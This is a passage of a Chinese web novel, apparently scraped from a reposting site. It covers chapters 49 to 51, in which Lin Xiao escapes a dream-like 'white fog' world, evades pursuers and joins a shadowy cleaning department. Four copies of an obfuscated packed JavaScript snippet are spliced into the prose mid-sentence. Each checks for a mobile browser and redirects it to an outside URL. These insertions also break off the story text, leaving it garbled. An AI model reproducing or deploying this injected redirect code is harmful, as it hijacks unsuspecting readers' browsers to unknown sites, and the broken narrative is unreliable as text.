“我若过得不好，你又会怎么做？”晋王也知道这个问题根本就是林筱随意扯出的幌子，不在意地笑了笑，被水雾柔和的锋利面庞竟有了些楚楚可怜的风味，“帮我？” 林筱定定地看着他，这种以退为进的手段并不陌生。她倏然笑了一下，答应了：“好。” 反倒是晋王微微一怔，意味不明地看着她：“那今晚回我家去吗？” 林筱也没想到晋王会打蛇上棍，一时之间进退两难。不去，显得她胆怯，去，又觉得哪里不对。她甚至怀疑之前那一句问话都是晋王给她设下的套，说不定早就在家里设下埋伏等着她前去。 “林总？”一旁的晋王好整以暇地看着她，长发散落在池内，荡出朵朵花来。 系统给他们的身体都是一比一对照复刻的，所以晋王那一头长发也得以保留，在这仿古的假山池子中别有一番韵味。 “去。”林筱也没再犹豫。 晋王不清楚，她还能不明白这里只是系统给他们的游戏场吗？就算被晋王坑死，她依旧可以在临死前使用通关秘籍通过这场游戏，顺便还能帮她弄清楚这个玩偶对她这个主人造成的影响可以达到什么样的程度。 她完全不需要害怕。 既然林筱同意了，晋王放任自己浸入水池，用一种可以被其他人听到的音量说道：“半个小时后，还要劳烦林总送我回去了。” 林筱淡淡瞥了眼今晚举止异常的晋王，暗暗提高警惕。这种仿佛宣示主权的行为，在林筱看来，更像是和同伙预告下一步行动。 她不怀疑晋王能在这么短的时间内忽悠到人，但这是螳螂捕蝉，还是黄雀在后，这可就不一定了。 但，“半小时？” 是有什么她不知道而他可以知道的消息吗？ “林总有林总的消息渠道，我有我的消息渠道。”晋王就连此刻的仪态都犹如与他人谈古论今般正经，“不过半个小时，是真是假自由你来判断。” 林筱点了点头，也不再说话。 就那么相视无语的半个小时后，他们果然能动了。但随着他们的解放，消失已久的秘书小姐突然出现在他们身前，即使看着晋王与林筱陡然接近的距离也面不改色地口出狂言：“今晚我们是去姜先生家过夜吗？” 我们？ 哪怕是林筱和晋王，也都被这个白雾的逻辑所震撼。他们猜到白雾会掌握他们的动态，但没想到白雾采取的措施会那么简单粗暴。 可惜的是，哪怕白雾明晃晃地派个间谍过来，他们也毫无办法。 没有秘书小姐，林筱就不知道怎么离开。林筱不离开，晋王也没资格离开，然后大家都困在温泉之内。所以林筱只能含糊地应了一声，看着她打了一辆车把他们送到一片老破小房区。 晋王引路，他们顺着狭窄的楼梯依次来到了顶楼，进入了左侧的房间。 作为晋王在这个地方暂时安身的住所，三十几平的房屋内填满了乱七八糟的东西，杂乱得如同垃圾场。 不等林筱调侃，晋王就提前为自己辩解：“我还没来过。” 林筱当然知道，就跟她在秘书小姐眼中很可能是个油腻老男人一样，这一切都不过是白雾安排的人设而已。 不过，她还是叹了口气，好声好气地询问：“你后悔了吗？” 后悔在最后硬拉着她同归于尽，才不得不面对这些从未体验过的艰苦生活。 晋王没想到林筱会在此时问了那么一句，停顿片刻，否认：“从未有过。” 这句话说得很肯定，应当掺不了假。林筱也大致能猜到他的心思。一个有野心的人，一旦知道世界远比他想象的还要大时，总是不甘心继续埋没于自己的小世界。 野心不算坏事，但拦了她的路，这个野心就不合时宜了。 “哎呀，没想到姜先生在公司能把办公室打扫得那么干净，在家里却一点也不讲究。”秘书小姐娇滴滴的声音打断他们难得有几分温馨的气氛，明目张胆地上着眼药，仰着脸看向林筱时还委委屈屈地皱着鼻子，“林总，不如我们去宾馆休息一晚吧。” 这是在给她介绍晋王在这个世界的身份背景了啊。 林筱挑了挑眉，原来他不仅家境贫困，还是为她办公室打扫清洁的工作，难怪明明家境悬殊也能出现在温泉会所。 看着晋王沉下的脸色，林筱心情大悦。秘书小姐果然是她身边的得力干将，这话怎么就那么动听：“人家也不容易，我们再忍忍，好吗？” 秘书小姐委屈地看着她，又看了眼晋王，不情不愿地开口：“那好吧。” 晋王看了小人得意的两人一眼，没理会她们的即兴发挥，本着主客之道礼貌地问了一句：“水还是饮料？” 这句话本身是没有问题，但太过现代的语句放在晋王这个人身上就会有种奇怪的格格不入感。 “我们林总只喝咖啡。”林筱还没说话，秘书小姐稳定发挥她作为老板的贴心宝贝这一角色应有的职业素养，颐指气使地看着晋王指示道。 “没有咖啡，”晋王打开橱柜，又翻了冰箱，诡异地停顿一会，“只有水。” “那你还问我们做什么，寻林总开心？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073103|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秘书小姐顿时不乐意了，横眉竖指地看他哪里都不顺眼，嘟囔着在林筱耳边说小话。 “你也看到了，我很穷。”晋王面色坦然，一副我穷我有理的样子，“所以你们多包容一下。” 不知道是林筱的错觉，还是晋王本性暴露，这个眼前人似乎越来越有不要脸的趋势，与这一身清气如兰的气质形成强烈反差。 但很快，这种感觉又被他消弭：“下次，我再请林总咖啡。” 林筱皱了皱眉，看着晋王狐疑地眯起眼，还是觉得晋王表露出来的这几分得意过于显眼：“那就水吧。” 这屋子也藏不了人，外面她也观察过，没有其他人埋伏的动静。是他的同伙现在已经就位了，所以无所顾忌？ 秘书小姐还是习惯不了那么狭窄的空间，捏着鼻子转了几圈后就受不了地来到室外，屋内再次只剩下林筱与晋王两人。 放了秘书离开，外面现在应该没有人。他到底藏着什么后手？ “没想到再次见面会是这样的局面？”林筱没碰仍冒着热气的茶水，抬眉挑衅地看着站在椅边的人，试图激晋王一下。 “唔，的确没想到。”他笑了一下，依旧云淡风轻，仿佛刚才的那一句的确是林筱的错觉，“看来，你们这些外乡人就喜欢这些奇怪的世界。” 这是把他自己的出生地也一同骂了进去。林筱更加警惕，这背后的图谋怕是比她预料的还大，他找到了一个拥有特殊道具的同伙？ “我知道你的来意，”晋王继续说道，“我能来到这个世界靠的是你的道具，但我只认比我强的人为主，你现在还不够格。” 作为一个现代人，林筱并不习惯那么轻易说出认主两个字，就算只是听晋王说也都觉得别扭。 但显然晋王并不在意这种说词：“良禽择佳木而栖，既然要认主，我便要自己选择。在你没有展现出足够的实力前，我们就继续维持现在这个关系。我不会亲自对你动手，你也可以尝试驯服我。” 林筱能感觉到他没有说谎，但心里却依旧有股诡异的不安感。 “你现在也觉得不安吧，”晋王端起林筱没有碰的热水，“这个世界对我们有绝对的压制，我们只能根据它的想法做事，却无法有自己的思想。” 林筱点了点头，同意了他的看法。 “所以当本性被束缚时，不安也在所难免。”他看向林筱，“这其实不是我们的错。” “毕竟这是个虚假的世界。”林筱接上了晋王没有说完的那句话。 当她说出这句话的时候，她就发现了不对。那种坠落感是来自白雾的惩罚，但和真正致命的失重感相比，这更像是从噩梦中挣脱的疲倦。 在白雾世界的林筱眼皮也莫名沉重，耳边嘈杂的声响就像报废的收音机发出的噪音般带着滞后的信息混乱地播放。 她看见晋王饮下那一杯她没有碰过的热水，对着她露出矜持的笑意。 也看着他的身体逐渐模糊，变成破碎的马赛克。 哪怕已经感知不到自己的存在，林筱还是下意识地笑了一下。 既然已经察觉到晋王不对，她又怎么会不提前做好准备？说来，还是那个少年提醒了她：这个世界，她做主。 所以她出了意外，这里的所有人都要给她陪葬。 晋王也只是在最初错愕了一下，很快也接受了自己失败的事实。他看着两人都还没完全消失的身体，给林筱留下了最后一句话。 “现实中见。” 49. 第二个世界6 白雾外的世界和林筱进入白雾时毫无区别，她抬手看了眼自己身上唯一的贵重物品，钟表上的秒针在她的注视下慢悠悠地往前挪动一格。 当他们在白雾世界内时，现实世界的时间是静止的。这也意味着，她和晋王再次返回同一起跑线上。 林筱跨过脚下意识还有些混沌的少年们，看着他们的眼神逐渐清晰，然而在发现她的下一秒选择了闭眼，假装自己仍在昏迷之中。 这掩耳盗铃的技术，难怪他们也就只能欺负一下没有反抗力的老弱妇孺了。 林筱的眼神飘过他们，看向那个依旧被水果刀固定在墙边的少年。他既然对白雾有那么深的了解和向往，想来清醒后会有更多的情报可以告诉她。 林筱神色一顿，有几分困扰地皱起眉头。 那个她付与重望的少年疯了。 他没有和他另外两个同伴一样装聋作哑，一双眼直直地看着林筱，纯净如稚儿，嘴角咧出不应该存在于这个巷角的灿烂笑容，即使林筱看着他的眼神算不上友善。 真有意思。 既然这个指望不上了，林筱就踢了踢自欺欺人的两个少年：“起来，说说你们为什么怕我？” 两个少年还想装死，哪怕林筱几乎已经在明说了。 说实话，自从进入这个游戏以后她就一直在算计与被算计之间，陡然遇见这么一个怕她的人，她都有些不忍心欺负他们。 林筱蹲下身，捡起被他们遗弃在一边的水果刀，冰冷的金属贴近他们的肌肤，就如同林筱此刻的声音：“我时间有限，是你们自己醒，还是我帮你们醒来？” 少年的皮肤被激起一片疙瘩，他们畏惧地睁开眼，蜷缩成一团，大声求饶：“我们自己起来，我们自己起来，别杀我。” 林筱就好奇了，她亲手杀的人，唔，也没几个，大多都是间接的，怎么他们就一副她是杀人狂魔的样子？ 看着眼前这个可怕的恶魔追根问底的样子，他们对视一眼，喏喏道：“我们都是因为你离开那里的。” 因为她离开白雾世界？ 林筱若有所思地点了点头：“所以你们看见我把世界摧毁了？” 他们偷摸着看了林筱一眼，又惶恐地垂下头：“是的。” 和他们这些小摸小偷相比，这位可是毁灭世界不眨眼的狠人。 也就是此时，他们才会羡慕起一无所知的同伴。有时候疯了又何尝不是一种解脱，至少不会被这么一位人物盯着看。 “你们在那个世界经历了什么？”既然威慑犹存，林筱也毫不在意地利用起来，刀片有一下没一下地点着地面，划出一道道斑驳痕迹。 哪怕林筱是无意，在少年眼中，这也是无声的恐吓：“我们变成了老总，有一个很大的办公室。” “对，还有一个漂亮的秘书，好喝的水，我们还去泡了温泉。” 两个人相互补充地说道，但能看出他们的经历和林筱大致相同。 这个白雾世界还挺偷懒的啊，这么多人都套用一个模板，也不出点新意。“然后呢？” “然后，”他们两人对视一眼，“有人欺负我，被温泉会所的保安赶走了。” 两个人居然是一样的说法。 “欺负你们的是活人吗？” 他们自然知道这个活人指的是什么，但两个人的答案截然不同：“是。”“不知道。” 说不知道的少年看着同伴惊讶的眼神，生怕林筱误会，忙不迭地解释：“我遇到的人他自称什么玩家，我想如果和我们一样进入白雾的人应该不会这么称呼自己，但他又很灵活，不像是白雾里的人，所以我就不知道了。” 她当初听到的那个声音原来是这个少年发出的。 林筱勉强也算受了他的恩惠，好心安抚他一句：“你别怕，我又没想对你怎么样。你就和我说说，保安是怎么出现的？” 她以为是安抚，没想到少年反而抖得更厉害了：“我在那里的身份是温泉会所的老板，所以随身带着的那副棕色手串就是我的身份证明。只要把手串展示给前台，温泉里的保安就会出现并听从我的指挥。” 只不过因为晋王的出现，她没机会利用到她的手串，有些可惜了。 林筱漫不经心地想着，突然就觉得这里面有些东西不对。不是说少年欺骗她，而是白雾世界既然给每个小世界都安排闹事的人，没道理轮到她就那么安静。 她突然想到一点：“你们在更衣室能撞见其他人吗？” 他们不明白林筱怎么突然想知道这个，但也老实地回答道：“进去的时候不会，从温泉出来的时候会。而且温泉会所只认手串不认人，我差点就没护住它。” 果然，她遇到晋王的时候已经晚了，他已经做完了想做的事，就在门口守株待兔。只不过他没想到守到的那只兔子是她，所以不得不临时更改计划，被她发现了纰漏。 回想到晋王消散前的口型，他可能在她磨蹭在更衣室前就已经和其他人达成了协议，将在这个现实世界对她下手。 时间果然很紧迫啊。 林筱反手将水果刀送给两个少年，站起身居高临下地看着他们：“知道什么能说，什么不能说吧。” 两个少年疯狂地点头，看着她的身影消失在巷角，这才互相搀扶着起身。 然而还没等他们站稳，从身后传来的推力让他们再次跌倒在地面上。一群服饰不一的青年人看也没看痴傻的少年，对着他们两人就是厌恶地盘问：“你们有看见一个看上去很好欺负的女人吗？” 两个少年茫然地看着他们，显然不知道他们在说什么。 为首穿着西服的人不耐烦地啧了一声：“那你们有看见一个漂亮的女人吗？” 漂亮的女人，那个凶神算吗？一想到她离开前留下的话，他们顿时疯狂地摇头：“我们不知道？” “真不知道，还是假不知道？”西服男冷笑着开口。 “真不知道。”两个少年异口同声。 但这句话没有得到西服男的认可。他将两人踹倒在地上，看着他们的脸浸在小巷浑浊恶臭的脏水里，转身对着身后的人说道：“我讨厌这些只会撒谎的臭虫。追上去，她应该没走远。” 这群人的脚步声也渐渐消失，两个少年这才抬起头，羡慕地看着无人理睬的痴傻少年，互相搀扶着离开这个小巷。 至于痴傻少年，能不能活着就看他的命了。这里的人可没有那个善心抚养一个没有帮助的傻子。 而此时的林筱，正吃着还没冷却的泡面。 毕竟是她花钱买的晚饭，按照她现在的经济条件来说可容不得浪费。不管其他人怎么看，她站在茶水间将最后一口泡面吃完，又喝了一碗白开水，这才将杯桶扔进垃圾桶。 上网的时间已经差不多截止，她也不需要花那个冤枉钱搜索白雾的消息了。说不定网上还没有如今的她自己知道的多。 林筱正准备出门，远远看见一群来者不善的男人向这里走来，下意识地就躲回网吧，观察着他们的动向。 她看见其中一个人手里拿着常见于古代的器皿，一下子就反应过来。玩家，他们是玩家，而且很可能是被晋王撺掇过来的玩家。 她快步走向前台：“你们这里有后门吗？” 前台抬起头，了然地指了指左侧的地方：“那里有一个铁门，把你的证件贴一下感应器，它就会为我们的客人打开一条捷径。” 林筱明白了他的意思：“谢谢。” 只要那些人没想到在网吧花钱，他们就不会知道这个后门，这就大大为她拖延了时间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“需要我重复几遍？”明明无路可逃，可林筱依旧没有慌乱，甚至有闲心陪他聊上几句，“我没有那么多积分。” “我看你是死鸭子嘴硬。”对方恼羞成怒，粗糙的弓箭再次张开，对准林筱射了过去。 弓箭虽然草率，但准头不错，林筱躲避得很艰难，身上也少不了刮擦。 但她还是顺利地来到巷尾。 “这是死胡同，你再逃也没用。”对方看见了林筱的举动，但也没放在心上，手中的箭有一搭没一搭地向林筱而去。 林筱等的，就是他懈怠的那一刻。 趁着对方精神不集中，林筱助跑几步，冒着被射中的风险一下子窜到墙头，潜入了对方家中。 到手的鸭子居然真的飞了。这下对方彻底慌了神，连忙通知其他同伴一起把林筱抓到。 但林筱知道，她安全了。因为这户人家就是网管所说的涂着红漆的人家，她还在大堂看见和旅社前台摆放的题字一样的字迹。 她顺着户主给她留下的暗门，在这个隐藏在死胡同内的小路返回了旅社。 一路上，果然再也没遇到其他追杀她的人。 再次踩着咯吱咯吱响的楼梯，她回到了属于自己的房间里。屋子内的人依旧该干什么就干什么，没人关心衣衫整齐的林筱回来时为什么那么狼狈。 没人关心正好。林筱看着自己简陋的床铺，草草整理了一下自己就准备休息。 只有一个手臂上纹满白虎的女人叼着烟，规整的烟圈炫技般停留在空中。她没有看向林筱，低沉的烟嗓漫不经心地开口：“白雾里的东西都是假的。不要留恋，也不要幻想，如果你还要命的话。” 林筱直起身，她怎么猜到她去了白雾？ 50. 第二个世界7 “你对白雾很了解？”林筱也没想到自己居然舍近求远，明明真正了解情况的人就在她身边，她却偏偏跑到不远处花钱买消息。 重点不是她白跑了一趟，而是她花了冤枉钱。 这个面相凶狠的女人缓缓吐出一个烟圈，倦懒的眼皮微微抬起：“小孩子家家，不用知道太多。” 从气质上看，林筱就像一个刚毕业的学生仔混进了大佬齐聚的现场，但她不管是心里还是生理上都已经成年，经历的事情不比她少，听到这句话也只会觉得怀念：“可惜的是，我已经成年了。” “刚毕业的小崽子就不要说自己成年了这种话，”并不好闻的烟味凑近，林筱看着眼前突然放大的凌厉眉眼，听着她漫不经心的呵斥，“就跟小孩子过家家一样，没人会信。” “就算我从白雾出来也不行？”光用言语的确没有说服力，林筱承认这一点，那就用现实说话。 但听到这句话，整个房间的人都没有震惊。甚至那位纹有白虎的女人嘲笑她：“谁没去过，也就小孩子会把它当做荣耀炫耀。” 失策。 林筱暗自将懊恼藏在心里，面上还是一派镇定。 也是，白雾出现得那么频繁，能够接触的人肯定比她想象的还要多。尤其是在这个三不管地区，就算白雾降临也无人通知，被卷席进去的人只会更多。 她需要一个更加震撼的消息来获得自己的知情权，幸运的是，她正好有一个。 她看向纹有白虎的女人，野心在她的眼中闪烁：“如果我在里面摧毁了一个世界呢？” 一旁的女人发出惊讶的吸气声，但林筱没有注意，她依旧看着那位纹着白虎的女人，等待着她的回应。 她缓缓将手中的香烟捻灭，像是第一次认真看林筱：“还不够，你要找到一口泉。当你看见它时，你就会知道你要找的就是它。那是白雾的源头，在那里，你可以知道关于白雾的一切。” 白雾的源头。 这是她第一次在那么短的时间内就知道了一场灾难的解决办法，甚至都没有用上一整天。消息来得轻而易举，林筱反而不敢确定：“解决了它，白雾就会消失了？” 她懒散地点了点头：“小朋友志气不小嘛。” “我有解决它的理由。”林筱依旧注视着女人，说出的话再真实不过，没有人能否认她的诚恳。 只不过这个理由不是大众想象中亲友离去的悲惨消息，而是来自一个叫做职业模拟测试游戏系统的压迫。 女人沉吟一会，窸窸窣窣的嘈杂声响也突然消失，在一片沉寂中，她终于开了口：“白雾只是一场梦。” 林筱依旧沉静地看着她。 这很容易猜到，一个由她完全掌控生死的世界，只有梦境才最容易实现。虽然不清楚白雾怎么改变她的梦境，又是怎么让其他人进入，但原理从来不是她探究的根本。 她只需要知道解决办法就行。 “所以脱离白雾世界很简单，只要你的意识是清醒的，当你知道并说出自己在做梦时，你就能离开。”女人放下翘起的腿，“摧毁一个世界也不难，只要你想摧毁就行，不过这一点也只有我们能做到。” 晋王诱导她完成第一种办法，但她自己想出了第二种方式挽回败局。但如果说只有“我们”可以做到的事情，联系那个荒诞的梦境，林筱只能想到一个共同点。 “白雾是以区域划分吗？” 林筱说得没头没脑，但女人却领会地点了点头：“看来你对白雾已经很了解了。” 果然是这样。 林筱看着眼神沧桑的女人，也不管周围是否安全：“所以，他们是把我们扔出去当祭品吗？” 白雾会随机出现的城市的每一个角落，但里面梦境却是以贫民区百姓的幻想为框架。一个是来自天堂的美梦，一个是骤然跌落的生活，谁更容易沉迷显然易见。 白雾之所以会越发频繁，这和一些人的纵容离不开关系。在那些人眼中，他们的命或许不如工具值钱。 “那也没有，”她懒散地伸了个腰，“只是没在意而已。” 就像蝼蚁，被踩了也不会被注意，甚至他们根本不知道他们踩到了东西。 一旁的女人们沉默地听着，她们的脸上没有对命运的抗拒，只有习惯后的麻木。甚至有人扯了扯林筱的衣服：“算了，白雾和我们也没关系，你没必要冒着生命危险解决它。” 纹着白虎的女人等着她将劝告说完，也等着林筱的反应。 “怎么找到那口泉水？”像是没有经过任何思考，也像是经过许久的心里斗争，林筱说话是带着不容拒绝的坚定。 “知道清醒梦吗？”女人不再吊着林筱，她看了眼林筱看似单薄的身躯，笑了一下，艳丽的红唇既是告知拯救世界的方法，也像是恶魔在引诱他人走向灭亡，“就和那个差不多，你不能脱离梦境，还必须保持意识清醒，然后进入白雾的更深层。” “白雾的更深层？”白雾，还有更深层的地方？ “我没去过，所以我也不清楚怎么进去。”她又拿出一根女士烟点燃，焦苦的气味再次融入混浊的空气中，“但如果你能成为清洁工，那你就有机会知道。” “毕竟，他们偶尔也会清理白雾。” 林筱沉默了一会，没有说出她现在就是一个临时清洁工：“谢谢。” “不用谢，”回报林筱的，自然又是一个完美的烟圈，“如果白雾消失了，对你我都有好处。我也是为自己谋利益而已。” 她看着好像陷入沉思的林筱，轻慢地跺了跺脚：“今晚我们早点休息，让我们的小救世主养足精神好去拯救世界。” 林筱自然听出她话语中的戏谑，但林筱还是承了这个情，将自己包裹好板正地躺平在床上。 等待天明。 但是第二天唤醒林筱的，不是她的生物钟，也不是她的闹钟，而是一条来自手机的短信。 “桑榆路395号26楼，转正面试。” 没有署名的陌生号码，甚至没有任何说明，乍一眼望去就和诈骗短信一样，只配待在垃圾箱内。 纹着白虎的女人无比自然地从她手中拿过手机，看了眼那条奇怪短信，挑了挑眉：“看不出来你已经得到了清洁部门的认可了啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073105|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “这就是清洁部门的短信通知？”林筱语气中的嫌弃毫不掩饰。如果不是对方说，谁信这是来自有关部门的短信。 这个反应也逗笑了女人，被吵醒的脾气总算消去了些。她看着准备起身的林筱，懒散地躺回床上：“你当他们是什么正经单位？连你都没放过，大概是他们缺人，饥不择食了。” 她们这边的动静也吵醒了其它人，只不过碍于白虎女人的威严才没人谩骂出声。 “多谢提醒。”忽略那些措辞，林筱想，她大概是在提醒她这个部门比她想象的还要危险，“再见。” 女人被噎了一下，看着林筱离开房间，无声地叹息一声。房间内隐约发出细微的声响，又很快恢复沉寂中。窗帘被遮掩厚实，房间内再次陷入黑暗。 在这个世界，谁不是白雾的受害者呢？她们也都厌恶白雾，厌恶着对生活还抱有希望的人。 太刺眼。 另一头的林筱已经离开交通工具。她没有钱购置其他服饰，简单清理修改了一下破破烂烂的衣服就赶来面试。 可偏偏这栋建筑里工作的人个个穿着精致优雅的时装，迈着不紧不慢的脚步诧异地看着这个仿佛来自另一个世界的女子。 但林筱没有因为这些异样的目光而感到羞耻。她淡定地走进电梯，恍然不觉电梯内的其他人犹如躲避瘟疫般在她的附近空出大片的空间，来到了26楼。 26楼的环境如果要描述，大概就是打工人理想的工作环境。就算是林筱也得承认，这比她自己的公司设计还要合理。 一整层楼都属于一家公司，但现在公司内部还没有人，就连打扫的阿姨也没出现。 林筱看了眼手机，没有标明时间。 她坐在电梯旁的长凳上，等待负责面试的人事出现。如果这也是面试的套路之一，林筱不得不承认，这个部门的确不入流。 电梯上上下下，但始终没有人在26楼停留。 林筱再次看了眼手机，按下心中的不耐烦继续等待。她相信那位纹着白虎的女人，但已经对这个所谓的清洁部门充满质疑。 可最终林筱也没等到来自清洁部门的人，反而是白雾率先到来。 铺地盖地的白雾从远处缓缓而来，澄亮的窗户逐渐朦胧，留下模糊不清的世界。 这一层楼只有她一个人，空旷陌生的环境和逐渐逼近的危险，所有的一切都只能由她自己一人承受。林筱伸出手，看着白雾丝丝缕缕地隔着玻璃贴近她，留下一个人形的印记。 十几分钟后，白雾留恋不舍地离开，只剩下玻璃上一个带着温度的手印。 隔绝白雾的，是来自玻璃内面的涂层，而不是她最初以为的玻璃本身。那垃圾车内部，应该也有这个涂层的使用。 林筱再次看了眼自己的手机，果然，一直没有动静的屏幕上出现了一条信息提醒。 “恭喜你通过清洁部的面试，成为正式职工中的一员。请于今晚六点准时来到同一位置完成入职仪式，如未准时出现则视为放弃名额，后续永不录用。” 她猜对了，这就是一个不入流的单位。 51. 第二个世界8 “林总，您工作辛苦了，喝点水吧。”魔鬼身材的秘书弯着腰贴近，艳丽的容貌下尽是倾慕，笑容甜美，声音甜腻。 一样的环境，一样的热可可，甚至是一样的人。 林筱接过仍冒着热气的饮料，夕阳的余晖透过明亮的窗户照在她的脸上，耀眼的光斑遮住了她的眼，让这位熟悉的秘书小姐看不清她的眼神。 这一次，她没有喝。 一样的幻境不仅没能让林筱放松，反而让她更加警惕。善于隐蔽的猎手都知道，猎物放松的那一刻才是最好的捕猎时间。在她破坏了白雾一个梦境，还顺带震醒了其他人的事情发生后，她不觉得白雾还会好心地让她安稳度假。 林筱看着一旁等待的秘书，但秘书小姐却像是对视线毫无所觉般抱着文件站在她的身侧。 “一会有什么安排？”林筱询问道，但其实她更好奇的是一个不务正业的公司还有什么文件需要秘书时时护着的。 秘书小姐当着林筱的面翻开空无一物的文件夹，抬头甜美地笑道：“下班后，您和您的朋友越好去百巫山看日出。” 下班后爬山，还要在山上睡一晚看明天的日出，这行程安排可比当初的温泉会所满得多。 林筱点点头：“你来安排我放心。” 正好也给清洁部的那些老员工安排点事做。 在进入白雾前，林筱还是参加了清洁部的岗前培训。不入流的单位培训员工自然不会尽心尽力，像林筱这种身份低微的新员工对于他们而言就是取之不尽的资源，一把开启白雾的钥匙而已。 钥匙丢了可以再配，但经验丰富的小偷少了，那培养起来可就费劲了。 七步之内，必有芳草。泉水既是形成白雾的关键，也是避免白雾入侵现实世界的涂层主材料。纹有白虎的女人提醒她找到清洁部，也是想让她搭个便车找到泉水。 老员工就相当于现实世界派入白雾的小偷，带走属于白雾世界却克制白雾世界的资源。来自底层的新员工就是定向开启白雾世界的钥匙，不需要多强，只要能控制自己不崩溃把人带出来就足够了。 多年与白雾的斗争也让清洁部形成了一整套对付白雾的体系。老员工按照一定的距离依次排列在林筱周围，当白雾涌来时，他们完整地被白雾包裹。 所以现在他们应当会出现在同一个梦境，以林筱为主的梦境。 虽然被当成工具人，但大家的目的一致，林筱半推半就地从了。 “林总，您就会哄人家开心。”秘书小姐娇嗔道，用这文件夹轻轻拍了下林筱的肩膀。 刹那间，犹如被无数文件埋没的窒息感突然涌上，林筱闭上眼想要甩开眼前的幻觉，但那种窒息感如影随形，直至让她呼吸困难才突然消失。 她看着秘书小姐，对方已经回到原来的站位，拿着文件夹的手纤细修长，镶钻的美甲在灯光下折射刺眼的光芒。 一个寻常的、美艳的秘书，也是一个不容小觑的白雾守护者。 林筱回忆自己刚才的行为，她刚才也就夸了秘书一句话，怎么就突然引起白雾世界的攻击？ 难不成，林筱吐出一口气，她不能对秘书有任何示好的行为。 就跟她必须进入男士更衣室一样，拒绝秘书的纠缠也是她人设的一部分。违背人设，她就会受到白雾世界的攻击排斥。 这都是什么破设定。 林筱只能吃下这个闷亏：“请注意我们之间的距离。” “是，林总。”秘书小姐不甘不愿地回复，不死心地向她抛着媚眼。 没有惩罚，秘书也没有真的生气，她猜对了。 外面的时间加速流转，林筱只不过看了一行娱乐新闻，一旁的秘书就已经提醒她下班的时间到了。 她们再次乘坐电梯下行，在林筱的意料之外地出现在新开辟的地下停车场内。 这是被白雾知道了她的吐槽，所以偷偷升级，想要惊艳到她吗？ 哪怕知道这绝对不是白雾的想法，林筱也被自己突然升起的念头逗笑。 身兼多职的秘书小姐坐在司机的位置上，并且将林筱安排在副驾。 白雾既然那么折腾她，应该不会让人死于车祸这个可笑的原因吧。 林筱看了眼还在琢磨怎么点火的秘书小姐，默默系紧安全带，右手拉着车顶的拉环，闭上眼靠在椅背上。 人为刀俎我为鱼肉，随它去吧。 终于，在汽车的轰鸣声中，秘书小姐终于把车开出了地下停车场，中途擦过了几辆车的事情就不需要详细描述了。 她们安全抵达了百巫山。 与其说眼前的东西是山，倒不如说是小土坡。远远估量，也就一二百米的高度，只能说是城市周边可以走一走的小景点。如今正值夏季，草木茂盛，在隐约的光照下就像长满野草的坟头，不仅没有美感，反而有些渗人。 秘书小姐的车技一如既往地稳定发挥，在撞倒几根杆子后才被动停在了一片空地。 其余人都已经到了。 十五个人，除了她和她的新同事们，还有四五个误入白雾的普通人。从他们的衣着上看，各个阶级的人都有，也算是白雾的公平公正。 看来清洁部的准备还是有欠缺的。本来这十五个人都应该是他们自己人，现在却被几个陌生人占了位置。 唯一值得庆幸的是，晋王没有出现。 队长冲着林筱使了个眼色，林筱瞥了眼一直跟随着她的秘书，不动声色地点了点头。 人已经接头上了，接下来还得根据白雾的要求完成任务。 “哎呀，好多人呀。”秘书小姐缠在林筱身边抱怨道，“林总，一会你可得帮帮我。如果零点到不了山顶，那可就有危险了。” 一个初入白雾摸不清状况的人还起哄地吹了声口哨。 “你可以的。”林筱可还记得之前的教训，半点不敢接秘书的话，甚至谨慎地退开三步。 一声倒彩之后，这个青年人又冲着这边喊道：“美女，我可以帮你！” 然而秘书小姐理都没理那个人，只是委委屈屈地嘟起嘴：“那好吧，我会尽力跟上林总的。” 秘书小姐的独角戏很精彩，但在场的人大多都知道白雾的秘密，不仅没有被她可怜的表情所迷惑，反而对着眼前的小山丘警惕起来。 秘书小姐的话，就是这白雾世界的规则。她说零点不能抵达山顶会有危险，那一定会发生他们难以预测的事情。 “走吧。”时间紧迫，他们担心这山路会有白雾世界设下的陷阱，还是今早出发为好。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073106|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们说的话没用，秘书小姐一动不动，等待林筱的指令。 “开始吧。”林筱率先迈开步子，秘书紧随其后。 别看秘书小姐在开始时说得柔弱，但实际过程中，她走得比身后那个看着一身腱子肉的男人还快，还稳。 